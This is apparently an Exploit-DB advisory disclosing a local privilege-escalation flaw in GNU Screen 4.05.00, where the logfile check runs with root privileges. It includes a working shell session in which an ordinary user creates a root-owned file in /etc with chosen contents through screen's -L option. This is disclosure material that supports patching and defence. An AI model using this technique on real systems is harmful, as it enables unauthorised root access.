Commit f86a374 ("screen.c: adding permissions check for the logfile name",
2015-11-04)
The check opens the logfile with full root privileges. This allows us to
truncate any file or create a root-owned file with any contents in any
directory and can be easily exploited to full root access in several ways.
> address@hidden:~$ screen--version> Screen version 4.05.00 (GNU)10-Dec-16
> address@hidden:~$ id>uid=125(buczek)gid=125(buczek)groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)> address@hidden:~$ cd /etc
> address@hidden:/etc (master)$ screen-D-m-L bla.bla echo fail
> address@hidden:/etc (master)$ ls-l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 2419:58 bla.bla
> address@hidden:/etc (master)$ cat bla.bla
> fail
> address@hidden:/etc (master)$
Donald Buczek <address@hidden>
EDB Note: Follow up ~ http://seclists.org/oss-sec/2017/q1/184
